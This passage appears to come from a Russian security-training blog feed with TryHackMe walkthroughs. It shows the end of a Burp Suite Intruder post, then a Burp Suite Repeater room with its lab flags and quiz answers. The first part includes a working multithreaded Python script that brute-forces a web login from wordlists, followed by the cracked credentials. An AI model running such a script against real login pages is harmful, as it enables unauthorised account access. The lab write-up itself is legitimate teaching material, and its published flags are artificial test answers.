    &lt;p id=&quot;AeHR&quot;&gt;&lt;code&gt;    resp = s.post(&lt;br /&gt;        LOGIN_URL,&lt;br /&gt;        data={&amp;quot;username&amp;quot;: user, &amp;quot;password&amp;quot;: pwd, &amp;quot;loginToken&amp;quot;: token},&lt;br /&gt;        timeout=TIMEOUT,&lt;br /&gt;        allow_redirects=True,&lt;br /&gt;    )&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;nlXS&quot;&gt;&lt;code&gt;    with counter_lock:&lt;br /&gt;        counter += 1&lt;br /&gt;        sys.stdout.write(f&amp;quot;\r[{counter}/{total}] {user}:{pwd}              &amp;quot;)&lt;br /&gt;        sys.stdout.flush()&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;puWW&quot;&gt;&lt;code&gt;    # Success checks&lt;br /&gt;    if resp.url != LOGIN_URL and &amp;quot;/login&amp;quot; not in resp.url:&lt;br /&gt;        return True, user, pwd&lt;br /&gt;    body = resp.text.lower()&lt;br /&gt;    if not any(m.lower() in body for m in FAIL_MARKERS):&lt;br /&gt;        return True, user, pwd&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;zmPx&quot;&gt;&lt;code&gt;    return False, user, pwd&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;akXS&quot;&gt;&lt;code&gt;&lt;br /&gt;def main():&lt;br /&gt;    global total&lt;br /&gt;    usernames = load_wordlist(USERNAMES)&lt;br /&gt;    passwords = load_wordlist(PASSWORDS)&lt;br /&gt;    total = len(usernames) * len(passwords)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;EWTh&quot;&gt;&lt;code&gt;    print(f&amp;quot;[*] Target:    {LOGIN_URL}&amp;quot;)&lt;br /&gt;    print(f&amp;quot;[*] Users:     {len(usernames)}&amp;quot;)&lt;br /&gt;    print(f&amp;quot;[*] Passwords: {len(passwords)}&amp;quot;)&lt;br /&gt;    print(f&amp;quot;[*] Total:     {total} combinations&amp;quot;)&lt;br /&gt;    print(f&amp;quot;[*] Threads:   {THREADS}\n&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;3Uht&quot;&gt;&lt;code&gt;    pairs = [(u, p) for u in usernames for p in passwords]&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;2eaT&quot;&gt;&lt;code&gt;    with ThreadPoolExecutor(max_workers=THREADS) as pool:&lt;br /&gt;        futures = {pool.submit(try_login, u, p): (u, p) for u, p in pairs}&lt;br /&gt;        for future in as_completed(futures):&lt;br /&gt;            if found.is_set():&lt;br /&gt;                break&lt;br /&gt;            try:&lt;br /&gt;                ok, user, pwd = future.result()&lt;br /&gt;                if ok:&lt;br /&gt;                    found.set()&lt;br /&gt;                    print(f&amp;quot;\n\n[+] SUCCESS! → {user}:{pwd}\n&amp;quot;)&lt;br /&gt;                    pool.shutdown(wait=False, cancel_futures=True)&lt;br /&gt;                    sys.exit(0)&lt;br /&gt;            except Exception:&lt;br /&gt;                pass&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;j4jo&quot;&gt;&lt;code&gt;    print(f&amp;quot;\n\n[-] No valid credentials found.&amp;quot;)&lt;/code&gt;&lt;/p&gt;
    &lt;p id=&quot;M1KX&quot;&gt;&lt;code&gt;&lt;br /&gt;if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;    main()&lt;/code&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;oUjo&quot;&gt;Вопрос: Какая комбинация имени пользователя и пароля указывает на успешный вход в систему? Формат ответа: &amp;quot;имя пользователя:пароль&amp;quot;.&lt;/p&gt;
    &lt;p id=&quot;ngmF&quot;&gt;Ответ: o.bennett:bella1&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;5HWr&quot;&gt;13. Заключение&lt;/h2&gt;
  &lt;p id=&quot;8FoC&quot;&gt;Поздравляем с завершением строительства комнаты Burp Suite Intruder!&lt;/p&gt;
  &lt;p id=&quot;t3vX&quot;&gt;К этому моменту у вас должно быть четкое понимание того, как эффективно использовать Intruder для автоматизации запросов и выполнения различных типов атак.&lt;/p&gt;
  &lt;p id=&quot;KKgP&quot;&gt;В следующем зале модуля мы рассмотрим некоторые &lt;a href=&quot;https://tryhackme.com/room/burpsuiteom&quot; target=&quot;_blank&quot;&gt;другие модули Burp Suite&lt;/a&gt; !&lt;/p&gt;
  &lt;figure id=&quot;Nltr&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/09/59/0959047b-36a6-487a-9e77-3ae78ca000e2.png&quot; width=&quot;911&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;Y2xb&quot;&gt;&lt;a href=&quot;http://t.me/pentest89&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Основная группа&lt;/strong&gt;&lt;/a&gt; обучения ИБ&lt;br /&gt;&lt;strong&gt;&lt;a href=&quot;https://t.me/+fXKM89fYCMVmYjFi&quot; target=&quot;_blank&quot;&gt;Lab-группу&lt;/a&gt;&lt;/strong&gt; с полезным софтом / книгами / аудио.&lt;br /&gt;&lt;a href=&quot;https://t.me/+RuwyHi0We0lmZDhi&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Чат&lt;/strong&gt; &lt;/a&gt;для обсуждений, задавай свои вопросы.&lt;br /&gt;P.S. С вами был &lt;a href=&quot;https://t.me/Fnay_Offensive&quot; target=&quot;_blank&quot;&gt;@Fnay_Offensive&lt;/a&gt;&lt;br /&gt;До новой встречи, user_name!&lt;/p&gt;

</content></entry><entry><id>fnay_offensive:post_41</id><link rel="alternate" type="text/html" href="https://teletype.in/@fnay_offensive/post_41?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=fnay_offensive"></link><title>День 37. Burp Suite: Repeater</title><published>2026-02-24T08:14:01.404Z</published><updated>2026-02-24T08:15:07.965Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/3b/29/3b29debc-b0e0-4ac0-96f4-a90779785182.png"></media:thumbnail><category term="obuchenie-post" label="obuchenie_post"></category><summary type="html">&lt;img src=&quot;https://img1.teletype.in/files/09/c1/09c1e8aa-1599-43e6-9bd3-2aa858f9889d.jpeg&quot;&gt;Узнайте, как использовать Repeater для дублирования запросов в Burp Suite.</summary><content type="html">
  &lt;p id=&quot;czV5&quot;&gt;Узнайте, как использовать Repeater для дублирования запросов в Burp Suite.&lt;/p&gt;
  &lt;figure id=&quot;MBsS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/09/c1/09c1e8aa-1599-43e6-9bd3-2aa858f9889d.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;0Crr&quot;&gt;1. Введение&lt;/h2&gt;
  &lt;h4 id=&quot;gZy4&quot;&gt;Добро пожаловать в комнату Burp Suite Repeater!&lt;/h4&gt;
  &lt;figure id=&quot;8MSM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;nmGG&quot;&gt;В этой комнате мы рассмотрим расширенные возможности фреймворка Burp Suite, сосредоточившись на модуле Burp Suite Repeater. Опираясь на базовые знания, полученные в &lt;a href=&quot;https://tryhackme.com/room/burpsuitebasics&quot; target=&quot;_blank&quot;&gt;комнате «Основы Burp»&lt;/a&gt; , мы углубимся в мощные функции инструмента Repeater. Вы узнаете, как обрабатывать и повторно отправлять перехваченные запросы, а также мы рассмотрим различные опции и функции, доступные в этом замечательном модуле. На протяжении всей комнаты мы будем приводить практические примеры, включая упражнение из реальной жизни, чтобы закрепить ваше понимание обсуждаемых концепций.&lt;/p&gt;
  &lt;figure id=&quot;gBOi&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg&quot; width=&quot;1200&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tLGL&quot;&gt;Если вы новичок в Burp Suite или еще не прошли базовый курс Burp Basics, мы рекомендуем сделать это перед продолжением. Базовый курс Burp Basics дает необходимые знания для этого курса и улучшит ваш опыт обучения.&lt;/p&gt;
  &lt;p id=&quot;tSjB&quot;&gt;Разверните целевую виртуальную машину, подключенную к этой задаче, нажав зеленую кнопку &lt;strong&gt;«Запустить машину»&lt;/strong&gt; . Также запустите AttackBox, нажав синюю кнопку &lt;strong&gt;«Запустить AttackBox»&lt;/strong&gt; в верхней части этого окна, если вы используете не свою собственную машину. Затем запустите Burp и следуйте инструкциям в следующих задачах.&lt;/p&gt;
  &lt;p id=&quot;weIX&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;NO11&quot;&gt;2. Что такое ретранслятор?&lt;/h2&gt;
  &lt;p id=&quot;D9kM&quot;&gt;Прежде чем использовать Burp Suite Repeater, давайте ознакомимся с его назначением и функционалом.&lt;/p&gt;
  &lt;p id=&quot;blLy&quot;&gt;По сути, Burp Suite Repeater позволяет нам изменять и повторно отправлять перехваченные запросы на выбранный нами целевой адрес. Он позволяет нам брать запросы, перехваченные в Burp Proxy , и манипулировать ими, отправляя их многократно по мере необходимости. В качестве альтернативы мы можем вручную создавать запросы с нуля, аналогично использованию инструмента командной строки, такого как cURL.&lt;/p&gt;
  &lt;p id=&quot;kEGf&quot;&gt;Возможность редактировать и повторно отправлять запросы несколько раз делает Repeater незаменимым инструментом для ручного исследования и тестирования конечных точек. Он предоставляет удобный графический интерфейс для создания полезной нагрузки запросов и предлагает различные варианты отображения ответа, включая механизм рендеринга для графического представления.&lt;/p&gt;
  &lt;p id=&quot;T10M&quot;&gt;Интерфейс ретранслятора состоит из шести основных разделов, как показано на приведенной ниже схеме с пояснениями:&lt;/p&gt;
  &lt;figure id=&quot;SB7Z&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/3a4a4ee2008a2ed6a1aa8e9af3601ab2.png&quot; width=&quot;1283&quot; /&gt;
  &lt;/figure&gt;
  &lt;ol id=&quot;uZ2g&quot;&gt;
    &lt;li id=&quot;qikg&quot;&gt;&lt;strong&gt;Список запросов&lt;/strong&gt; : Расположен в верхнем левом углу вкладки и отображает список запросов к ретранслятору. Можно обрабатывать несколько запросов одновременно, и каждый новый запрос, отправленный в ретранслятор, будет отображаться здесь.&lt;/li&gt;
    &lt;li id=&quot;J49o&quot;&gt;&lt;strong&gt;Элементы управления запросами&lt;/strong&gt; : Расположенные непосредственно под списком запросов, эти элементы управления позволяют отправлять запросы, отменять зависшие запросы и перемещаться по истории запросов.&lt;/li&gt;
    &lt;li id=&quot;Uj4Y&quot;&gt;&lt;strong&gt;Разделы «Запрос» и «Ответ»&lt;/strong&gt; : Занимая большую часть интерфейса, этот раздел отображает &lt;strong&gt;запросы&lt;/strong&gt; и &lt;strong&gt;ответы&lt;/strong&gt; . В разделе «Запрос» можно отредактировать запрос, а затем переслать его, при этом соответствующий ответ будет отображен в разделе «Ответ».&lt;/li&gt;
    &lt;li id=&quot;a9fw&quot;&gt;&lt;strong&gt;Параметры компоновки&lt;/strong&gt; : Расположенные в правом верхнем углу окна «Запрос/Ответ», эти параметры позволяют настроить компоновку окон «Запрос» и «Ответ». По умолчанию используется горизонтальная компоновка, но можно также выбрать вертикальную компоновку или объединить окна в отдельные вкладки.&lt;/li&gt;
    &lt;li id=&quot;BVRn&quot;&gt;&lt;strong&gt;Инспектор&lt;/strong&gt; : Расположенный справа, Инспектор позволяет анализировать и изменять запросы более интуитивно понятным способом, чем при использовании стандартного редактора. Мы рассмотрим эту функцию в одном из последующих заданий.&lt;/li&gt;
    &lt;li id=&quot;GY3X&quot;&gt;&lt;strong&gt;Поле « Цель&lt;/strong&gt; » расположено над инспектором и указывает IP-адрес или домен, на который отправляются запросы. Когда запросы в Repeater отправляются из других компонентов Burp Suite , это поле заполняется автоматически.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;09Hd&quot;&gt;Вопрос: Какие разделы обеспечивают более интуитивно понятное управление нашими запросами?&lt;/p&gt;
    &lt;p id=&quot;lCW1&quot;&gt;Ответ: &lt;strong&gt;Inspector&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;Gmb1&quot;&gt;3. Основные правила использования&lt;/h2&gt;
  &lt;p id=&quot;VAc9&quot;&gt;На данный момент нам известен интерфейс приложения, но как эффективно его использовать?&lt;/p&gt;
  &lt;p id=&quot;MqHe&quot;&gt;Хотя ручное создание запросов является одним из вариантов, чаще всего запрос перехватывается с помощью модуля Proxy , а затем передается в Repeater для дальнейшего редактирования и повторной отправки.&lt;/p&gt;
  &lt;p id=&quot;KzaU&quot;&gt;После того как запрос будет перехвачен модулем Proxy , мы можем отправить его в Repeater, щелкнув правой кнопкой мыши по запросу и выбрав &lt;strong&gt;«Отправить в Repeater»&lt;/strong&gt; , или используя сочетание клавиш &lt;code&gt;Ctrl + R&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;luNn&quot;&gt;Вернувшись к Repeater, мы видим, что наш перехваченный запрос теперь доступен в представлении Request:&lt;/p&gt;
  &lt;figure id=&quot;KuDM&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/ae762b56b7ecb30a0d861221d41502f5.png&quot; width=&quot;1051&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SckC&quot;&gt;Теперь в разделах «Цель» и «Инспектор» отображается соответствующая информация, хотя ответа пока нет. После нажатия кнопки &lt;strong&gt;«Отправить»&lt;/strong&gt; быстро заполняется окно «Ответ»:&lt;/p&gt;
  &lt;figure id=&quot;EzAH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/11da62185a73223355048c2fc04a1340.png&quot; width=&quot;1047&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vHRr&quot;&gt;Если мы захотим изменить какой-либо аспект запроса, мы можем просто ввести текст в поле «Запрос» и снова нажать &lt;strong&gt;«Отправить» . Это действие соответствующим образом обновит поле «Ответ» справа. Например, изменение заголовка «Соединение&lt;/strong&gt; » с «close» на «open» приведет к получению ответа с заголовком &lt;strong&gt;«Соединение»&lt;/strong&gt; , содержащим значение «keep-alive»:&lt;/p&gt;
  &lt;figure id=&quot;wDEN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/67d1462106edc86bd676315b3c0cba08.png&quot; width=&quot;693&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;djbC&quot;&gt;Кроме того, мы можем использовать кнопки истории, расположенные справа от кнопки «Отправить», для навигации по истории изменений, что позволяет нам перемещаться вперед или назад по мере необходимости.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;PWOm&quot;&gt;Вопрос: Какое представление будет заполнено при отправке запроса из модуля Proxy в Repeater?&lt;/p&gt;
    &lt;p id=&quot;atf5&quot;&gt;Ответ: Request&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;35Rs&quot;&gt;4. Панель инструментов анализа сообщений&lt;/h2&gt;
  &lt;p id=&quot;9jhI&quot;&gt;Repeater предоставляет нам различные варианты отображения запросов и ответов, от шестнадцатеричного вывода до полностью отрисованной страницы.&lt;/p&gt;
  &lt;p id=&quot;Fs3Y&quot;&gt;Чтобы ознакомиться с этими возможностями, можно обратиться к разделу, расположенному над полем для ответа, где доступны следующие четыре кнопки просмотра:&lt;/p&gt;
  &lt;figure id=&quot;9FRs&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/635ad62b0204b104bbd58489716eccde.png&quot; width=&quot;256&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Lg11&quot;&gt;Нам предлагаются следующие варианты отображения:&lt;/p&gt;
  &lt;ol id=&quot;vZAQ&quot;&gt;
    &lt;li id=&quot;jhI6&quot;&gt;&lt;strong&gt;Pretty&lt;/strong&gt; : Это вариант по умолчанию, который берет исходный ответ и применяет к нему небольшие улучшения форматирования для повышения читаемости.&lt;/li&gt;
    &lt;li id=&quot;XXqc&quot;&gt;&lt;strong&gt;Raw&lt;/strong&gt; : Этот параметр отображает неизмененный ответ, полученный непосредственно от сервера, без какого-либо дополнительного форматирования.&lt;/li&gt;
    &lt;li id=&quot;GHCB&quot;&gt;&lt;strong&gt;Шестнадцатеричный режим&lt;/strong&gt; : Выбрав этот режим, мы можем просмотреть ответ в байтовом представлении, что особенно полезно при работе с бинарными файлами.&lt;/li&gt;
    &lt;li id=&quot;Xske&quot;&gt;&lt;strong&gt;Рендеринг&lt;/strong&gt; : Опция рендеринга позволяет визуализировать страницу так, как она будет выглядеть в веб-браузере. Хотя она не часто используется в Repeater, поскольку мы обычно фокусируемся на исходном коде, она все же представляет собой ценную функцию. В большинстве случаев достаточно опции &lt;strong&gt;Pretty&lt;/strong&gt; . Однако полезно ознакомиться с использованием остальных трех опций.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;aEKz&quot;&gt;Рядом с кнопками просмотра, справа, находится кнопка &lt;strong&gt;«Показать непечатаемые&lt;/strong&gt; символы» ( &lt;code&gt;\n&lt;/code&gt;). Эта функция позволяет отображать символы, которые могут быть невидимы при использовании параметров &lt;strong&gt;«Красивый»&lt;/strong&gt; или &lt;strong&gt;«Необработанный»&lt;/strong&gt; . Например, каждая строка в ответе обычно заканчивается символами &lt;code&gt;\r\n&lt;/code&gt;, представляющими собой возврат каретки с последующей новой строкой. Эти символы играют важную роль в интерпретации HTTP- заголовков.&lt;/p&gt;
  &lt;p id=&quot;TaDm&quot;&gt;Хотя для большинства задач этот вариант не является обязательным, в определенных ситуациях он может оказаться полезным.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;5Sqp&quot;&gt;Вопрос: Какой из вариантов  позволяет визуализировать страницу так, как она будет выглядеть в веб-браузере?&lt;/p&gt;
    &lt;p id=&quot;6vDi&quot;&gt;Ответ: Render&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;wUed&quot;&gt;5. Инспектор&lt;/h2&gt;
  &lt;p id=&quot;ZjZx&quot;&gt;Инспектор — это дополнительная функция к представлениям запросов и ответов в модуле Repeater. Он также используется для получения визуально организованной разбивки запросов и ответов, а также для экспериментов, чтобы увидеть, как изменения, внесенные с помощью Инспектора более высокого уровня, влияют на эквивалентные исходные версии.&lt;/p&gt;
  &lt;p id=&quot;OsjX&quot;&gt;Инспектор можно использовать как в модуле Proxy , так и в модуле Repeater. В обоих случаях он расположен в правой части окна и отображает список компонентов запроса и ответа:&lt;/p&gt;
  &lt;figure id=&quot;fMH7&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/6c95db764fe7491d938485256fd1dd87.png&quot; width=&quot;504&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;R9W6&quot;&gt;Среди этих компонентов обычно можно изменять разделы, относящиеся к запросу, что позволяет добавлять, редактировать и удалять элементы. Например, в разделе &lt;strong&gt;«Атрибуты запроса&lt;/strong&gt; » можно изменять элементы, связанные с местоположением, методом и протоколом запроса. Это включает в себя изменение требуемого ресурса для получения данных, изменение метода HTTP с GET на другой вариант или переключение протокола с HTTP /1 на HTTP /2.&lt;/p&gt;
  &lt;figure id=&quot;wMV3&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/4f3a0f3714ceebbd6016e077369b48e8.png&quot; width=&quot;276&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SYpb&quot;&gt;К другим разделам, доступным для просмотра и/или редактирования, относятся:&lt;/p&gt;
  &lt;ol id=&quot;CBrt&quot;&gt;
    &lt;li id=&quot;edrs&quot;&gt;&lt;strong&gt;Параметры запроса:&lt;/strong&gt; это данные, отправляемые на сервер через URL. Например, в GET-запросе, таком как &amp;#x60;&amp;lt;URL&amp;gt;&amp;#x60; &lt;code&gt;https://admin.tryhackme.com/?redirect=false&lt;/code&gt;, параметр запроса &amp;#x60; &lt;strong&gt;redirect&amp;#x60;&lt;/strong&gt; имеет значение &amp;#x60;false&amp;#x60;.&lt;/li&gt;
    &lt;li id=&quot;YIQS&quot;&gt;&lt;strong&gt;Параметры тела запроса:&lt;/strong&gt; Аналогично параметрам запроса, но специфичны для POST-запросов. Любые данные, отправленные в рамках POST-запроса, будут отображаться в этом разделе, что позволит нам изменить параметры перед повторной отправкой.&lt;/li&gt;
    &lt;li id=&quot;ak9Q&quot;&gt;&lt;strong&gt;Запрос файлов cookie:&lt;/strong&gt; В этом разделе представлен изменяемый список файлов cookie, отправляемых с каждым запросом.&lt;/li&gt;
    &lt;li id=&quot;Uxml&quot;&gt;&lt;strong&gt;Заголовки запроса:&lt;/strong&gt; Они позволяют нам просматривать, получать доступ и изменять (включая добавление или удаление) любые заголовки, отправляемые с нашими запросами. Редактирование этих заголовков может быть полезным при изучении того, как веб-сервер реагирует на неожиданные заголовки.&lt;/li&gt;
    &lt;li id=&quot;Ua4r&quot;&gt;&lt;strong&gt;Заголовки ответа:&lt;/strong&gt; В этом разделе отображаются заголовки, возвращаемые сервером в ответ на наш запрос. Изменить их невозможно, поскольку мы не контролируем заголовки, возвращаемые сервером. Обратите внимание, что этот раздел становится видимым только после отправки запроса и получения ответа.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;LrZd&quot;&gt;Хотя текстовое представление этих компонентов можно найти в представлениях «Запрос» и «Ответ», табличный формат Инспектора предоставляет удобный способ визуализации и взаимодействия с ними. Экспериментирование с добавлением, удалением и изменением заголовков в Инспекторе помогает понять, как изменяется соответствующая исходная версия в ответе.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;iFFk&quot;&gt;Вопрос: Какой раздел в Инспекторе отвечает именно за POST-запросы?&lt;/p&gt;
    &lt;p id=&quot;94fc&quot;&gt;Ответ: &lt;strong&gt;Body Parameters&lt;/strong&gt;&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;JzZl&quot;&gt;6. Практический пример&lt;/h2&gt;
  &lt;p id=&quot;kdgF&quot;&gt;Repeater особенно хорошо подходит для задач, требующих многократной отправки аналогичных запросов, как правило, с незначительными изменениями. Это особенно полезно для таких действий, как ручное тестирование на уязвимости SQL- инъекций (будет рассмотрено в следующем задании), попытки обойти фильтры брандмауэра веб-приложений или корректировка параметров при отправке формы.&lt;/p&gt;
  &lt;p id=&quot;Blzd&quot;&gt;Начнём с предельно простого примера: использование Repeater для изменения заголовков запроса, отправляемого целевому объекту.&lt;/p&gt;
  &lt;p id=&quot;lw42&quot;&gt;Перехватите запрос &lt;code&gt;http://10.49.156.244/&lt;/code&gt;в модуле Proxy и отправьте его в Repeater.&lt;/p&gt;
  &lt;p id=&quot;PGyG&quot;&gt;Отправьте запрос один раз из Repeater  —  в окне ответа вы должны увидеть исходный HTML-код запрошенной страницы.&lt;/p&gt;
  &lt;p id=&quot;zv9g&quot;&gt;Попробуйте просмотреть это в одном из других режимов отображения (например, в шестнадцатеричном).&lt;/p&gt;
  &lt;p id=&quot;zFhq&quot;&gt;С помощью инспектора (или вручную, если хотите) добавьте заголовок с именем &lt;code&gt;FlagAuthorised&lt;/code&gt;и установите для него значение &lt;code&gt;True&lt;/code&gt;, как показано ниже:&lt;/p&gt;
  &lt;p id=&quot;Fdcj&quot;&gt;Добавлен заголовок с флагом FlagAuthorised.&lt;/p&gt;
  &lt;pre id=&quot;aWrd&quot;&gt;GET / HTTP/1.1
Host: 10.49.156.244
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True
&lt;/pre&gt;
  &lt;figure id=&quot;Dx43&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8b/15/8b1529ad-a48c-425d-9068-ff61d2fc504e.png&quot; width=&quot;1242&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;LBCa&quot;&gt;Вопрос: Какой флаг вы получаете?&lt;/p&gt;
  &lt;p id=&quot;KX8t&quot;&gt;Ответ: THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi} &lt;/p&gt;
  &lt;h2 id=&quot;NaIH&quot;&gt;7. Испытание&lt;/h2&gt;
  &lt;p id=&quot;SARj&quot;&gt;В предыдущем задании мы продемонстрировали использование Repeater, добавив заголовок и отправив запрос. Это послужило наглядным примером использования Repeater. Теперь настало время для простого задания!&lt;/p&gt;
  &lt;p id=&quot;ZBkW&quot;&gt;Для начала убедитесь, что перехват отключен в вашем модуле прокси&lt;code&gt;http://10.49.156.244/products/&lt;/code&gt; , и перейдите по ссылке . Затем попробуйте нажать на некоторые из ссылок « &lt;strong&gt;Посмотреть больше»&lt;/strong&gt; .&lt;/p&gt;
  &lt;p id=&quot;cwqh&quot;&gt;Обратите внимание, что вас перенаправляет на числовой адрес (например, /products/3).&lt;/p&gt;
  &lt;p id=&quot;WJig&quot;&gt;Цель состоит в том, чтобы проверить конечную точку, подтвердив существование числа, к которому вы хотите перейти, и убедившись, что это допустимое целое число. Однако следует учитывать, что может произойти, если эта конечная точка не будет должным образом проверена.&lt;/p&gt;
  &lt;figure id=&quot;UdDT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e0/31/e03163e9-96cf-4017-92dc-52ad31272637.png&quot; width=&quot;1626&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;1pHa&quot;&gt;пробуем -1 &lt;/p&gt;
  &lt;figure id=&quot;2lfr&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5f/18/5f18f91d-f7aa-4d69-8bee-4a8e24a352ea.png&quot; width=&quot;1545&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;YcCw&quot;&gt;флаг &lt;/p&gt;
  &lt;figure id=&quot;kZrp&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3a/db/3adba876-aa4c-4b90-b7a9-6611e7cfeb4b.png&quot; width=&quot;382&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;n63t&quot;&gt;Снова включите перехват и зафиксируйте запрос к одной из конечных точек числовых продуктов в модуле Proxy, а затем перенаправьте его в Repeater.&lt;/p&gt;
    &lt;p id=&quot;eGOm&quot;&gt;Попробуйте добиться от сервера ошибки &amp;quot;500 Internal Server Error&amp;quot;, изменив число в конце запроса на &amp;quot;экстремальные входные данные&amp;quot;.&lt;/p&gt;
    &lt;p id=&quot;cpgd&quot;&gt;Вопрос: Какой флаг вы получаете, когда вызываете ошибку 500 на конечной точке?&lt;/p&gt;
    &lt;p id=&quot;aavV&quot;&gt;Ответ:THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}&lt;/p&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;0Hd3&quot;&gt;8. Вызов «Преодолеть лишнюю милю»&lt;/h2&gt;
  &lt;h4 id=&quot;wL69&quot;&gt;Вызов «Преодолеть лишнюю милю»&lt;/h4&gt;
  &lt;p id=&quot;8NJ4&quot;&gt;Это задание предназначено для проверки ваших навыков в несколько более сложной, реальной ситуации с использованием Burp Repeater. Если вы обладаете опытом самостоятельного выполнения SQL- инъекции вручную, вы можете перейти к последнему вопросу и выполнить это задание вслепую. Однако, если вам потребуется помощь, ниже будет предоставлено подробное пошаговое руководство. ( ТАК И СДЕЛАЕМ)&lt;/p&gt;
  &lt;h4 id=&quot;Tsmb&quot;&gt;Необходимые предварительные знания&lt;/h4&gt;
